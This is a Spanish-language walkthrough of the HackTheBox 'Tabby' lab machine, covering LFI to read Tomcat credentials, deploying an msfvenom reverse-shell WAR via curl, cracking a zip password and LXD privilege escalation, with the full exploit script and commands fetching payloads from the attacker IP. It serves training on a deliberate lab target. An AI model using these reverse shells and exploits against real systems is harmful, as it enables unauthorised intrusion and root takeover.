> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md).

# Resolución de HackTheBox Tabby

{% embed url="<https://app.hackthebox.com/machines/259>" %}

{% hint style="warning" %}
**Habilidades:**

* Inclusión local de archivos (LFI)
* Abusando del gestor de hosts virtuales de Tomcat
* Abusando del gestor basado en texto de Tomcat - Desplegar WAR malicioso (método Curl)
* Explotación de LXD (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/5504d0d30218c25d5990df71eb877a14ee4b74e3" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/054fece183b8b22e9951003ca06f381c0173a1e9" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
```

<figure><img src="/files/c6e2a7ce533ec579b2852e83ef3bceca72bb3fe9" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/c29ad42dcf0ab9d25d0de06801a055b40d3a1731" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80,8080 10.10.10.194 -oN targeted
```

<figure><img src="/files/75e36ad0a4fb6396edf6c7cdae0e2c3ea675cb63" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/04022ea23c06983dd3436a129081d37f90f09907" alt=""><figcaption></figcaption></figure>

### **Puerto 80:**

<figure><img src="/files/1512e810eb68d89ff6f4c5fa18ad1b43795c6dab" alt=""><figcaption></figcaption></figure>

**Búsqueda de directorios:**

Usamos Gobuster para buscar directorios en el sitio:

```bash
gobuster dir -u http://megahosting.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

* **Resultados:** `activos`, `archivos`, y `server-status`.

<figure><img src="/files/1b2e099d1dda5ae8c2f2821bf50cbf306cc8e982" alt=""><figcaption></figcaption></figure>

Buscar subdominios:

```bash
gobuster vhost -u http://megahosting.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -v "400"
```

<figure><img src="/files/3c90cd7064d2c7575c1ce86f9fd8783c67a2fc0e" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad LFI:

Acceder al archivo vulnerable `new.php` mediante una `?file` variable en la `sentencia` carpeta.

<figure><img src="/files/92b58156f7b75b5fbeddddea33407963864054e5" alt=""><figcaption></figcaption></figure>

**Probando la inclusión local de archivos (LFI)**:

`http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/dadd1f6aa288c5c6cb79d89b864b2e9c85a22006" alt=""><figcaption></figcaption></figure>

* **Resultado:** Acceso al archivo `/etc/passwd`, revelando dos usuarios: `ash` y `root`.

**Intento de acceder a la clave SSH privada de Ash**:

`?file=../../../../../../../home/ash/.ssh/id_rsa`

* **Resultado:** Acceso denegado.

<figure><img src="/files/43d8969e85278f9641d917066154c2487ec94171" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** a través del `/proc/net/tcp` archivo para identificar servicios ocultos:

<figure><img src="/files/32f04f4f92f205d1c9a80495d1a78523854f74f1" alt=""><figcaption></figcaption></figure>

**Buscar puertos internos** a través del `/proc/net/tcp` archivo para identificar servicios ocultos:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 { 
    # Tomar el campo local_address
    split($2, addr_port, ":");
    
    # Convertir la dirección al formato IP
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d", 
                 strtonum("0x" substr(hex_addr, 7, 2)), 
                 strtonum("0x" substr(hex_addr, 5, 2)), 
                 strtonum("0x" substr(hex_addr, 3, 2)), 
                 strtonum("0x" substr(hex_addr, 1, 2)));

    # Convertir el puerto a decimal
    port = strtonum("0x" addr_port[2]);
    
    # Imprimir el resultado en formato IP:Puerto
    printf "%s:%d/n", ip, port;
}'
```

**Resultado:** Descubrimiento del puerto interno `34650`

<figure><img src="/files/7626d998fac1bf60dd6a1adaeb4b1b2b800e3fb4" alt="" width="563"><figcaption></figcaption></figure>

### **Explotación del gestor de hosts virtuales de Tomcat (puerto 8080)**

**Accediendo a Tomcat** a través del puerto 8080 y buscando información de autenticación. Por defecto, se almacenan en `/etc/tomcat9/tomcat-users.xml` o `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/ae98ce1e93245e4ec92c3b3f88adfaa04e8f2281" alt=""><figcaption></figcaption></figure>

**Credenciales** encontrado:

`username = tomcat`

`password = $3cureP4s5w0rd123!`

<figure><img src="/files/c759b9b9c4888d4d067bd8a1db09ed0c44b194b4" alt=""><figcaption></figcaption></figure>

**Intento de acceder a** `/manager/html` devolviendo error 403.<br>

<figure><img src="/files/19c9af50570bf8027f7fa9f09a34c806b3e9ad7c" alt=""><figcaption></figcaption></figure>

1. **Alternativa a través de `/host-manager/html`**, pero no es posible crear una aplicación con un `.war` archivo.

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/dcc4b65ee6f3c7e7b0a725105652f98118067971" alt=""><figcaption></figcaption></figure>

### **Explotación del gestor basado en texto de Tomcat**

**Listar aplicaciones de línea de comandos**:

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/d1dd7dc0409f9e3b9df5280b4e21d6ef29d841ae" alt=""><figcaption></figcaption></figure>

**Creación de un archivo WAR para una reverse shell** por `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/134227dfb379f7eefe7f46069b3b657c8936c1a6" alt="" width="563"><figcaption></figcaption></figure>

**Despliegue del archivo WAR** mediante Curl:

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/78a24ee871ae511d8ae9d4bf2bde37b731978fb7" alt=""><figcaption></figcaption></figure>

**Escuchando la conexión de reverse shell**

```bash
nc -nlvp 443 
```

**Acceso a la reverse shell** a través de la URL `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/493542c8839205432b22d0b5fd6a403c6cbd2daf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8a54db4bd4ce35ad8c552e0b22c1d657eeed6afb" alt="" width="563"><figcaption></figcaption></figure>

#### Manejo de terminal

Una vez que tengas acceso al servidor Linux, estos son los comandos para el manejo de la terminal

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Estabiliza la shell para trabajar más cómodamente. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Escalada de privilegios:

**Explorando la `/var/www/html`** carpeta/ Al examinar el contenido de esta carpeta, descubrimos una carpeta `archivos` que contiene un archivo de copia de seguridad: `16162020_backup.zip`.

**Transfiriendo el `.zip` archivo a la máquina local**

Para facilitar el análisis, transferimos el archivo comprimido a nuestra máquina local iniciando un servidor HTTP con Python:

```bash
python3 -m http.server 655
```

<figure><img src="/files/5539846ce279814174aa364520fe3b108698e659" alt=""><figcaption></figcaption></figure>

### Fuerza bruta del archivo .zip:

**Descompresión del archivo `.zip` - Fuerza bruta de la contraseña**/ El `.zip` El archivo está protegido con contraseña.

<figure><img src="/files/817ef20f2779f37e01160bc64bf6eda7012273c9" alt="" width="563"><figcaption></figcaption></figure>

**Extracción de hash con `zip2john`**:

Así que usaremos zip2john para extraer el hash

```bash
zip2john 16162020_backup.zip > hash
```

<figure><img src="/files/147b5a9f642856b544350003e74289d59a1820f8" alt=""><figcaption></figcaption></figure>

**Crackeo de contraseñas con `john`**:

<pre class="language-bash"><code class="lang-bash"><strong>john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
</strong></code></pre>

**Resultado**: Contraseña encontrada - `admin@it`.

<figure><img src="/files/0bb2cb077cffd72eb7820e269c901871cce77478" alt=""><figcaption></figcaption></figure>

**Descompresión y análisis del contenido**/ Usa la contraseña para descomprimir el archivo:

<figure><img src="/files/2021ab820aea22074bdda225bbd0900848534e44" alt="" width="563"><figcaption></figcaption></figure>

Al descomprimir se crea una `var` carpeta que contiene algunos archivos útiles. Sin embargo, la `admin@it` contraseña también funciona para el `ash` usuario en la máquina objetivo.

### Bandera User.txt

<figure><img src="/files/814dbc823592e26109ffdd7953c6204ea05c0fd9" alt="" width="563"><figcaption></figcaption></figure>

### Explotación de LXD:

**Identificar que el usuario `ash` pertenece al `lxd` grupo**:

Al revisar los grupos a los que pertenece el usuario `ash` pertenece, notamos que forma parte del `lxd` grupo, lo que permite explotar LXC para obtener privilegios de root.

<figure><img src="/files/0c836bef1aa88c7240b45fc26520cf1fd57cc5e4" alt=""><figcaption></figcaption></figure>

**Descargando y preparando el exploit**:

Utilice `searchsploit` para obtener el script de explotación de la vulnerabilidad de LXC (CVE-2020-16941)

<figure><img src="/files/62fa4fc9f5cf840e88fbf2ab10aa242ff2d8e42c" alt="" width="563"><figcaption></figcaption></figure>

Este script permite explotar la vulnerabilidad de LXC para ejecutar comandos con privilegios elevados.

**Contenido del script de explotación (46978.sh)**:

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nUso:"
  echo -e "/t[-f] Nombre de archivo (.tar.gz de Alpine)"
  echo -e "/t[-h] Muestra este panel de ayuda/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] Listando imágenes.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] Eliminando contenedor..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
hecho

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* El script nos permite crear un contenedor LXC con privilegios elevados, lo que nos permite obtener acceso root en la máquina objetivo.

**Descargando la imagen Alpine y el script:**

Clona el repositorio que contiene los archivos necesarios para la explotación y transfiérelos a tu máquina mediante un servidor HTTP local.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

Iniciar un servidor HTTP local para servir el archivo y el script

```bash
python3 -m http.server 80
```

En la máquina objetivo, descarga el script y el archivo de imagen:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/d4c8db2667dccfb68258efe5c136107e70b62176" alt=""><figcaption></figcaption></figure>

**Actualización de PATH**:

Ajusta la `PATH` para asegurarte de que los comandos LXC se interpreten correctamente.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**Ejecutando el script de explotación**

Ejecuta el script con el archivo de imagen Alpine descargado para explotar la vulnerabilidad y obtener una shell de root:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/67fa49732edd5aea83fe2b8066f19b0cc5305f16" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/20c0ed42833a8283ac3669012db9586a81bfd26a" alt=""><figcaption></figcaption></figure>

Para salir del contenedor, simplemente ve a la `/mnt/root` directorio.

### Flag de root :)

<figure><img src="/files/699e05885eeb623094561c951462bfa750e083eb" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/967d19339660be9526ae4f08f11de692c8adba47" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
